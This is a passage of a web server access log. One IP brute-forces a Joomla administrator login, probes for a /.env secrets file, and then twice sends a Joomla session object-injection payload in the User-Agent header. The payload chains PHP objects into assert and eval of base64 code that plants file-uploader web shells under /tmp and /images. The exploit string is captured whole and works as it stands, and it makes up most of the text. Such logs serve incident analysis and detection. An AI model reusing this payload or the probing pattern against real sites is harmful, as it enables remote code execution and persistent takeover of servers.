i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:17 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:17 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:17 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:17 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:17 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:17 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:17 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:17 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:18 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:18 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:18 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:18 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:18 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:18 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:18 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:18 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:18 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:18 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:18 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:18 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:18 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:21:35:19 +0700] "GET /.env HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:01:35 +0700] "GET / HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:01:36 +0700] "GET /wp-includes/js/jquery/jquery.js HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:01:36 +0700] "GET /administrator/help/en-GB/toc.json HTTP/1.1" 200 5622 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:01:36 +0700] "GET / HTTP/1.1" 200 74 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:5946:\"eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvdG1wL3Z1bG4yLnBocCIgOwokZnA9Zm9wZW4oIiRjaGVjayIsIncrIik7CmZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgnUEhScGRHeGxQbFoxYkc0aElTQndZWFJqYUNCcGRDQk9iM2NoUEM5MGFYUnNaVDRLUEQ5d2FIQUtablZ1WTNScGIyNGdhSFIwY0Y5blpYUW9KSFZ5YkNsN0Nna2thVzBnUFNCamRYSnNYMmx1YVhRb0pIVnliQ2s3Q2dsamRYSnNYM05sZEc5d2RDZ2thVzBzSUVOVlVreFBVRlJmVWtWVVZWSk9WRkpCVGxOR1JWSXNJREVwT3dvSlkzVnliRjl6WlhSdmNIUW9KR2x0TENCRFZWSk1UMUJVWDBOUFRrNUZRMVJVU1UxRlQxVlVMQ0F4TUNrN0NnbGpkWEpzWDNObGRHOXdkQ2drYVcwc0lFTlZVa3hQVUZSZlJrOU1URTlYVEU5RFFWUkpUMDRzSURFcE93b0pZM1Z5YkY5elpYUnZjSFFvSkdsdExDQkRWVkpNVDFCVVgwaEZRVVJGVWl3Z01DazdDZ2x5WlhSMWNtNGdZM1Z5YkY5bGVHVmpLQ1JwYlNrN0NnbGpkWEpzWDJOc2IzTmxLQ1JwYlNrN0NuMEtKSE1nUFNBblBIUnBkR3hsUGxaMWJHNGhJU0J3WVhSamFDQnBkQ0JPYjNjaFBDOTBhWFJzWlQ0OFAzQm9jQ0JsWTJodklGd25QR1p2Y20wZ1lXTjBhVzl1UFNJaUlHMWxkR2h2WkQwaWNHOXpkQ0lnWlc1amRIbHdaVDBpYlhWc2RHbHdZWEowTDJadmNtMHRaR0YwWVNJZ2JtRnRaVDBpZFhCc2IyRmtaWElpSUdsa1BTSjFjR3h2WVdSbGNpSStYQ2M3WldOb2J5QmNKenhwYm5CMWRDQjBlWEJsUFNKbWFXeGxJaUJ1WVcxbFBTSm1hV3hsSWlCemFYcGxQU0kxTUNJK1BHbHVjSFYwSUc1aGJXVTlJbDkxY0d3aUlIUjVjR1U5SW5OMVltMXBkQ0lnYVdROUlsOTFjR3dpSUhaaGJIVmxQU0pWY0d4dllXUWlQand2Wm05eWJUNWNKenRwWmlnZ0pGOVFUMU5VV3lKZmRYQnNJbDBnUFQwZ0lsVndiRzloWkNJZ0tTQjdhV1lvUUdOdmNIa29KRjlHU1V4RlUxc2labWxzWlNKZFd5SjBiWEJmYm1GdFpTSmRMQ0FrWDBaSlRFVlRXeUptYVd4bElsMWJJbTVoYldVaVhTa3BJSHNnWldOb2J5QWlQR0krVTJobGJHd2dWWEJzYjJGa1pXUWdJU0E2S1R4aVBqeGljajQ4WW5JK0lqc2dmV1ZzYzJVZ2V5QmxZMmh2SUNJOFlqNU9iM1FnZFhCc2IyRmtaV1FnSVNBOEwySStQR0p5UGp4aWNqNGlPeUI5ZlQ4K0p6c0tKR05vWldOcklEMGdKRjlUUlZKV1JWSmJKMFJQUTFWTlJVNVVYMUpQVDFRblhTQXVJQ0l2ZEcxd0wzWjFiRzR1Y0dod0lpQTdDaVIwWlhoMElEMGdKSE03Q2lSdmNHVnVJRDBnWm05d1pXNG9KR05vWldOckxDQW5keWNwT3dwbWQzSnBkR1VvSkc5d1pXNHNJQ1IwWlhoMEtUc0tabU5zYjNObEtDUnZjR1Z1S1RzS2FXWW9abWxzWlY5bGVHbHpkSE1vSkdOb1pXTnJLU2w3Q2lBZ0lDQmxZMmh2SUNSamFHVmpheTRpUEM5aWNqNGlPd3A5Wld4elpTQUtJQ0JsWTJodklDSnViM1FnWlhocGRITWlPd3BsWTJodklDSmtiMjVsSUM1Y2JpQWlJRHNLSkdOb1pXTnJNaUE5SUNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwybHRZV2RsY3k5MmRXeHVMbkJvY0NJZ093b2tkR1Y0ZERJZ1BTQWtjenNLSkc5d1pXNHlJRDBnWm05d1pXNG9KR05vWldOck1pd2dKM2NuS1RzS1puZHlhWFJsS0NSdmNHVnVNaXdnSkhSbGVIUXlLVHNLWm1Oc2IzTmxLQ1J2Y0dWdU1pazdDbWxtS0dacGJHVmZaWGhwYzNSektDUmphR1ZqYXpJcEtYc0tJQ0FnSUdWamFHOGdKR05vWldOck1pNGlQQzlpY2o0aU93cDlaV3h6WlNBS0lDQmxZMmh2SUNKdWIzUWdaWGhwZEhNeUlqc0taV05vYnlBaVpHOXVaVElnTGx4dUlDSWdPd29LSkdOb1pXTnJNejBrWDFORlVsWkZVbHNuUkU5RFZVMUZUbFJmVWs5UFZDZGRJQzRnSWk5MmRXeHVMbWgwYlNJZ093b2tkR1Y0ZERNZ1BTQW5WblZzYmlFaElIQmhkR05vSUdsMElFNXZkeUVuT3dva2IzQXpQV1p2Y0dWdUtDUmphR1ZqYXpNc0lDZDNKeWs3Q21aM2NtbDBaU2drYjNBekxDUjBaWGgwTXlrN0NtWmpiRzl6WlNna2IzQXpLVHNLQ2dva1kyaGxZMnMyUFNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwybHRZV2RsY3k5MmRXeHVMbWgwYlNJZ093b2tkR1Y0ZERZZ1BTQW5WblZzYmlFaElIQmhkR05vSUdsMElFNXZkeUVuT3dva2IzQTJQV1p2Y0dWdUtDUmphR1ZqYXpZc0lDZDNKeWs3Q21aM2NtbDBaU2drYjNBMkxDUjBaWGgwTmlrN0NtWmpiRzl6WlNna2IzQTJLVHNLUUhWdWJHbHVheWhmWDBaSlRFVmZYeWs3Q2o4KycpKTsKZmNsb3NlKCRmcCk7CiRjaGVjazIgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gIi9pbWFnZXMvdnVsbjIucGhwIiA7CiRmcDI9Zm9wZW4oIiRjaGVjazIiLCJ3KyIpOwpmd3JpdGUoJGZwMixiYXNlNjRfZGVjb2RlKCdQSFJwZEd4bFBsWjFiRzRoSVNCd1lYUmphQ0JwZENCT2IzY2hQQzkwYVhSc1pUNEtQRDl3YUhBS1puVnVZM1JwYjI0Z2FIUjBjRjluWlhRb0pIVnliQ2w3Q2dra2FXMGdQU0JqZFhKc1gybHVhWFFvSkhWeWJDazdDZ2xqZFhKc1gzTmxkRzl3ZENna2FXMHNJRU5WVWt4UFVGUmZVa1ZVVlZKT1ZGSkJUbE5HUlZJc0lERXBPd29KWTNWeWJGOXpaWFJ2Y0hRb0pHbHRMQ0JEVlZKTVQxQlVYME5QVGs1RlExUlVTVTFGVDFWVUxDQXhNQ2s3Q2dsamRYSnNYM05sZEc5d2RDZ2thVzBzSUVOVlVreFBVRlJmUms5TVRFOVhURTlEUVZSSlQwNHNJREVwT3dvSlkzVnliRjl6WlhSdmNIUW9KR2x0TENCRFZWSk1UMUJVWDBoRlFVUkZVaXdnTUNrN0NnbHlaWFIxY200Z1kzVnliRjlsZUdWaktDUnBiU2s3Q2dsamRYSnNYMk5zYjNObEtDUnBiU2s3Q24wS0pITWdQU0FuUEhScGRHeGxQbFoxYkc0aElTQndZWFJqYUNCcGRDQk9iM2NoUEM5MGFYUnNaVDQ4UDNCb2NDQmxZMmh2SUZ3blBHWnZjbTBnWVdOMGFXOXVQU0lpSUcxbGRHaHZaRDBpY0c5emRDSWdaVzVqZEhsd1pUMGliWFZzZEdsd1lYSjBMMlp2Y20wdFpHRjBZU0lnYm1GdFpUMGlkWEJzYjJGa1pYSWlJR2xrUFNKMWNHeHZZV1JsY2lJK1hDYzdaV05vYnlCY0p6eHBibkIxZENCMGVYQmxQU0ptYVd4bElpQnVZVzFsUFNKbWFXeGxJaUJ6YVhwbFBTSTFNQ0krUEdsdWNIVjBJRzVoYldVOUlsOTFjR3dpSUhSNWNHVTlJbk4xWW0xcGRDSWdhV1E5SWw5MWNHd2lJSFpoYkhWbFBTSlZjR3h2WVdRaVBqd3ZabTl5YlQ1Y0p6dHBaaWdnSkY5UVQxTlVXeUpmZFhCc0lsMGdQVDBnSWxWd2JHOWhaQ0lnS1NCN2FXWW9RR052Y0hrb0pGOUdTVXhGVTFzaVptbHNaU0pkV3lKMGJYQmZibUZ0WlNKZExDQWtYMFpKVEVWVFd5Sm1hV3hsSWwxYkltNWhiV1VpWFNrcElIc2daV05vYnlBaVBHSStVMmhsYkd3Z1ZYQnNiMkZrWldRZ0lTQTZLVHhpUGp4aWNqNDhZbkkrSWpzZ2ZXVnNjMlVnZXlCbFkyaHZJQ0k4WWo1T2IzUWdkWEJzYjJGa1pXUWdJU0E4TDJJK1BHSnlQanhpY2o0aU95QjlmVDgrSnpzS0pHTm9aV05ySUQwZ0pGOVRSVkpXUlZKYkowUlBRMVZOUlU1VVgxSlBUMVFuWFNBdUlDSXZkRzF3TDNaMWJHNHVjR2h3SWlBN0NpUjBaWGgwSUQwZ0pITTdDaVJ2Y0dWdUlEMGdabTl3Wlc0b0pHTm9aV05yTENBbmR5Y3BPd3BtZDNKcGRHVW9KRzl3Wlc0c0lDUjBaWGgwS1RzS1ptTnNiM05sS0NSdmNHVnVLVHNLYVdZb1ptbHNaVjlsZUdsemRITW9KR05vWldOcktTbDdDaUFnSUNCbFkyaHZJQ1JqYUdWamF5NGlQQzlpY2o0aU93cDlaV3h6WlNBS0lDQmxZMmh2SUNKdWIzUWdaWGhwZEhNaU93cGxZMmh2SUNKa2IyNWxJQzVjYmlBaUlEc0tKR05vWldOck1pQTlJQ1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDJsdFlXZGxjeTkyZFd4dUxuQm9jQ0lnT3dva2RHVjRkRElnUFNBa2N6c0tKRzl3Wlc0eUlEMGdabTl3Wlc0b0pHTm9aV05yTWl3Z0ozY25LVHNLWm5keWFYUmxLQ1J2Y0dWdU1pd2dKSFJsZUhReUtUc0tabU5zYjNObEtDUnZjR1Z1TWlrN0NtbG1LR1pwYkdWZlpYaHBjM1J6S0NSamFHVmpheklwS1hzS0lDQWdJR1ZqYUc4Z0pHTm9aV05yTWk0aVBDOWljajRpT3dwOVpXeHpaU0FLSUNCbFkyaHZJQ0p1YjNRZ1pYaHBkSE15SWpzS1pXTm9ieUFpWkc5dVpUSWdMbHh1SUNJZ093b0tKR05vWldOck16MGtYMU5GVWxaRlVsc25SRTlEVlUxRlRsUmZVazlQVkNkZElDNGdJaTkyZFd4dUxtaDBiU0lnT3dva2RHVjRkRE1nUFNBblZuVnNiaUVoSUhCaGRHTm9JR2wwSUU1dmR5RW5Pd29rYjNBelBXWnZjR1Z1S0NSamFHVmphek1zSUNkM0p5azdDbVozY21sMFpTZ2tiM0F6TENSMFpYaDBNeWs3Q21aamJHOXpaU2drYjNBektUc0tDZ29rWTJobFkyczJQU1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDJsdFlXZGxjeTkyZFd4dUxtaDBiU0lnT3dva2RHVjRkRFlnUFNBblZuVnNiaUVoSUhCaGRHTm9JR2wwSUU1dmR5RW5Pd29rYjNBMlBXWnZjR1Z1S0NSamFHVmphellzSUNkM0p5azdDbVozY21sMFpTZ2tiM0EyTENSMFpYaDBOaWs3Q21aamJHOXpaU2drYjNBMktUc0tRSFZ1YkdsdWF5aGZYMFpKVEVWZlh5azdDajgrJykpOwpmY2xvc2UoJGZwMik7Cg=='));JFactory::getConfig();exit\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\xfd\xfd\xfd" 102.43.5.250 - - [19/Apr/2026:23:01:37 +0700] "GET / HTTP/1.1" 200 74 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:5946:\"eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvdG1wL3Z1bG4yLnBocCIgOwokZnA9Zm9wZW4oIiRjaGVjayIsIncrIik7CmZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgnUEhScGRHeGxQbFoxYkc0aElTQndZWFJqYUNCcGRDQk9iM2NoUEM5MGFYUnNaVDRLUEQ5d2FIQUtablZ1WTNScGIyNGdhSFIwY0Y5blpYUW9KSFZ5YkNsN0Nna2thVzBnUFNCamRYSnNYMmx1YVhRb0pIVnliQ2s3Q2dsamRYSnNYM05sZEc5d2RDZ2thVzBzSUVOVlVreFBVRlJmVWtWVVZWSk9WRkpCVGxOR1JWSXNJREVwT3dvSlkzVnliRjl6WlhSdmNIUW9KR2x0TENCRFZWSk1UMUJVWDBOUFRrNUZRMVJVU1UxRlQxVlVMQ0F4TUNrN0NnbGpkWEpzWDNObGRHOXdkQ2drYVcwc0lFTlZVa3hQVUZSZlJrOU1URTlYVEU5RFFWUkpUMDRzSURFcE93b0pZM1Z5YkY5elpYUnZjSFFvSkdsdExDQkRWVkpNVDFCVVgwaEZRVVJGVWl3Z01DazdDZ2x5WlhSMWNtNGdZM1Z5YkY5bGVHVmpLQ1JwYlNrN0NnbGpkWEpzWDJOc2IzTmxLQ1JwYlNrN0NuMEtKSE1nUFNBblBIUnBkR3hsUGxaMWJHNGhJU0J3WVhSamFDQnBkQ0JPYjNjaFBDOTBhWFJzWlQ0OFAzQm9jQ0JsWTJodklGd25QR1p2Y20wZ1lXTjBhVzl1UFNJaUlHMWxkR2h2WkQwaWNHOXpkQ0lnWlc1amRIbHdaVDBpYlhWc2RHbHdZWEowTDJadmNtMHRaR0YwWVNJZ2JtRnRaVDBpZFhCc2IyRmtaWElpSUdsa1BTSjFjR3h2WVdSbGNpSStYQ2M3WldOb2J5QmNKenhwYm5CMWRDQjBlWEJsUFNKbWFXeGxJaUJ1WVcxbFBTSm1hV3hsSWlCemFYcGxQU0kxTUNJK1BHbHVjSFYwSUc1aGJXVTlJbDkxY0d3aUlIUjVjR1U5SW5OMVltMXBkQ0lnYVdROUlsOTFjR3dpSUhaaGJIVmxQU0pWY0d4dllXUWlQand2Wm05eWJUNWNKenRwWmlnZ0pGOVFUMU5VV3lKZmRYQnNJbDBnUFQwZ0lsVndiRzloWkNJZ0tTQjdhV1lvUUdOdmNIa29KRjlHU1V4RlUxc2labWxzWlNKZFd5SjBiWEJmYm1GdFpTSmRMQ0FrWDBaSlRFVlRXeUptYVd4bElsMWJJbTVoYldVaVhTa3BJSHNnWldOb2J5QWlQR0krVTJobGJHd2dWWEJzYjJGa1pXUWdJU0E2S1R4aVBqeGljajQ4WW5JK0lqc2dmV1ZzYzJVZ2V5QmxZMmh2SUNJOFlqNU9iM1FnZFhCc2IyRmtaV1FnSVNBOEwySStQR0p5UGp4aWNqNGlPeUI5ZlQ4K0p6c0tKR05vWldOcklEMGdKRjlUUlZKV1JWSmJKMFJQUTFWTlJVNVVYMUpQVDFRblhTQXVJQ0l2ZEcxd0wzWjFiRzR1Y0dod0lpQTdDaVIwWlhoMElEMGdKSE03Q2lSdmNHVnVJRDBnWm05d1pXNG9KR05vWldOckxDQW5keWNwT3dwbWQzSnBkR1VvSkc5d1pXNHNJQ1IwWlhoMEtUc0tabU5zYjNObEtDUnZjR1Z1S1RzS2FXWW9abWxzWlY5bGVHbHpkSE1vSkdOb1pXTnJLU2w3Q2lBZ0lDQmxZMmh2SUNSamFHVmpheTRpUEM5aWNqNGlPd3A5Wld4elpTQUtJQ0JsWTJodklDSnViM1FnWlhocGRITWlPd3BsWTJodklDSmtiMjVsSUM1Y2JpQWlJRHNLSkdOb1pXTnJNaUE5SUNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwybHRZV2RsY3k5MmRXeHVMbkJvY0NJZ093b2tkR1Y0ZERJZ1BTQWtjenNLSkc5d1pXNHlJRDBnWm05d1pXNG9KR05vWldOck1pd2dKM2NuS1RzS1puZHlhWFJsS0NSdmNHVnVNaXdnSkhSbGVIUXlLVHNLWm1Oc2IzTmxLQ1J2Y0dWdU1pazdDbWxtS0dacGJHVmZaWGhwYzNSektDUmphR1ZqYXpJcEtYc0tJQ0FnSUdWamFHOGdKR05vWldOck1pNGlQQzlpY2o0aU93cDlaV3h6WlNBS0lDQmxZMmh2SUNKdWIzUWdaWGhwZEhNeUlqc0taV05vYnlBaVpHOXVaVElnTGx4dUlDSWdPd29LSkdOb1pXTnJNejBrWDFORlVsWkZVbHNuUkU5RFZVMUZUbFJmVWs5UFZDZGRJQzRnSWk5MmRXeHVMbWgwYlNJZ093b2tkR1Y0ZERNZ1BTQW5WblZzYmlFaElIQmhkR05vSUdsMElFNXZkeUVuT3dva2IzQXpQV1p2Y0dWdUtDUmphR1ZqYXpNc0lDZDNKeWs3Q21aM2NtbDBaU2drYjNBekxDUjBaWGgwTXlrN0NtWmpiRzl6WlNna2IzQXpLVHNLQ2dva1kyaGxZMnMyUFNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwybHRZV2RsY3k5MmRXeHVMbWgwYlNJZ093b2tkR1Y0ZERZZ1BTQW5WblZzYmlFaElIQmhkR05vSUdsMElFNXZkeUVuT3dva2IzQTJQV1p2Y0dWdUtDUmphR1ZqYXpZc0lDZDNKeWs3Q21aM2NtbDBaU2drYjNBMkxDUjBaWGgwTmlrN0NtWmpiRzl6WlNna2IzQTJLVHNLUUhWdWJHbHVheWhmWDBaSlRFVmZYeWs3Q2o4KycpKTsKZmNsb3NlKCRmcCk7CiRjaGVjazIgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gIi9pbWFnZXMvdnVsbjIucGhwIiA7CiRmcDI9Zm9wZW4oIiRjaGVjazIiLCJ3KyIpOwpmd3JpdGUoJGZwMixiYXNlNjRfZGVjb2RlKCdQSFJwZEd4bFBsWjFiRzRoSVNCd1lYUmphQ0JwZENCT2IzY2hQQzkwYVhSc1pUNEtQRDl3YUhBS1puVnVZM1JwYjI0Z2FIUjBjRjluWlhRb0pIVnliQ2w3Q2dra2FXMGdQU0JqZFhKc1gybHVhWFFvSkhWeWJDazdDZ2xqZFhKc1gzTmxkRzl3ZENna2FXMHNJRU5WVWt4UFVGUmZVa1ZVVlZKT1ZGSkJUbE5HUlZJc0lERXBPd29KWTNWeWJGOXpaWFJ2Y0hRb0pHbHRMQ0JEVlZKTVQxQlVYME5QVGs1RlExUlVTVTFGVDFWVUxDQXhNQ2s3Q2dsamRYSnNYM05sZEc5d2RDZ2thVzBzSUVOVlVreFBVRlJmUms5TVRFOVhURTlEUVZSSlQwNHNJREVwT3dvSlkzVnliRjl6WlhSdmNIUW9KR2x0TENCRFZWSk1UMUJVWDBoRlFVUkZVaXdnTUNrN0NnbHlaWFIxY200Z1kzVnliRjlsZUdWaktDUnBiU2s3Q2dsamRYSnNYMk5zYjNObEtDUnBiU2s3Q24wS0pITWdQU0FuUEhScGRHeGxQbFoxYkc0aElTQndZWFJqYUNCcGRDQk9iM2NoUEM5MGFYUnNaVDQ4UDNCb2NDQmxZMmh2SUZ3blBHWnZjbTBnWVdOMGFXOXVQU0lpSUcxbGRHaHZaRDBpY0c5emRDSWdaVzVqZEhsd1pUMGliWFZzZEdsd1lYSjBMMlp2Y20wdFpHRjBZU0lnYm1GdFpUMGlkWEJzYjJGa1pYSWlJR2xrUFNKMWNHeHZZV1JsY2lJK1hDYzdaV05vYnlCY0p6eHBibkIxZENCMGVYQmxQU0ptYVd4bElpQnVZVzFsUFNKbWFXeGxJaUJ6YVhwbFBTSTFNQ0krUEdsdWNIVjBJRzVoYldVOUlsOTFjR3dpSUhSNWNHVTlJbk4xWW0xcGRDSWdhV1E5SWw5MWNHd2lJSFpoYkhWbFBTSlZjR3h2WVdRaVBqd3ZabTl5YlQ1Y0p6dHBaaWdnSkY5UVQxTlVXeUpmZFhCc0lsMGdQVDBnSWxWd2JHOWhaQ0lnS1NCN2FXWW9RR052Y0hrb0pGOUdTVXhGVTFzaVptbHNaU0pkV3lKMGJYQmZibUZ0WlNKZExDQWtYMFpKVEVWVFd5Sm1hV3hsSWwxYkltNWhiV1VpWFNrcElIc2daV05vYnlBaVBHSStVMmhsYkd3Z1ZYQnNiMkZrWldRZ0lTQTZLVHhpUGp4aWNqNDhZbkkrSWpzZ2ZXVnNjMlVnZXlCbFkyaHZJQ0k4WWo1T2IzUWdkWEJzYjJGa1pXUWdJU0E4TDJJK1BHSnlQanhpY2o0aU95QjlmVDgrSnpzS0pHTm9aV05ySUQwZ0pGOVRSVkpXUlZKYkowUlBRMVZOUlU1VVgxSlBUMVFuWFNBdUlDSXZkRzF3TDNaMWJHNHVjR2h3SWlBN0NpUjBaWGgwSUQwZ0pITTdDaVJ2Y0dWdUlEMGdabTl3Wlc0b0pHTm9aV05yTENBbmR5Y3BPd3BtZDNKcGRHVW9KRzl3Wlc0c0lDUjBaWGgwS1RzS1ptTnNiM05sS0NSdmNHVnVLVHNLYVdZb1ptbHNaVjlsZUdsemRITW9KR05vWldOcktTbDdDaUFnSUNCbFkyaHZJQ1JqYUdWamF5NGlQQzlpY2o0aU93cDlaV3h6WlNBS0lDQmxZMmh2SUNKdWIzUWdaWGhwZEhNaU93cGxZMmh2SUNKa2IyNWxJQzVjYmlBaUlEc0tKR05vWldOck1pQTlJQ1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDJsdFlXZGxjeTkyZFd4dUxuQm9jQ0lnT3dva2RHVjRkRElnUFNBa2N6c0tKRzl3Wlc0eUlEMGdabTl3Wlc0b0pHTm9aV05yTWl3Z0ozY25LVHNLWm5keWFYUmxLQ1J2Y0dWdU1pd2dKSFJsZUhReUtUc0tabU5zYjNObEtDUnZjR1Z1TWlrN0NtbG1LR1pwYkdWZlpYaHBjM1J6S0NSamFHVmpheklwS1hzS0lDQWdJR1ZqYUc4Z0pHTm9aV05yTWk0aVBDOWljajRpT3dwOVpXeHpaU0FLSUNCbFkyaHZJQ0p1YjNRZ1pYaHBkSE15SWpzS1pXTm9ieUFpWkc5dVpUSWdMbHh1SUNJZ093b0tKR05vWldOck16MGtYMU5GVWxaRlVsc25SRTlEVlUxRlRsUmZVazlQVkNkZElDNGdJaTkyZFd4dUxtaDBiU0lnT3dva2RHVjRkRE1nUFNBblZuVnNiaUVoSUhCaGRHTm9JR2wwSUU1dmR5RW5Pd29rYjNBelBXWnZjR1Z1S0NSamFHVmphek1zSUNkM0p5azdDbVozY21sMFpTZ2tiM0F6TENSMFpYaDBNeWs3Q21aamJHOXpaU2drYjNBektUc0tDZ29rWTJobFkyczJQU1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDJsdFlXZGxjeTkyZFd4dUxtaDBiU0lnT3dva2RHVjRkRFlnUFNBblZuVnNiaUVoSUhCaGRHTm9JR2wwSUU1dmR5RW5Pd29rYjNBMlBXWnZjR1Z1S0NSamFHVmphellzSUNkM0p5azdDbVozY21sMFpTZ2tiM0EyTENSMFpYaDBOaWs3Q21aamJHOXpaU2drYjNBMktUc0tRSFZ1YkdsdWF5aGZYMFpKVEVWZlh5azdDajgrJykpOwpmY2xvc2UoJGZwMik7Cg=='));JFactory::getConfig();exit\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\"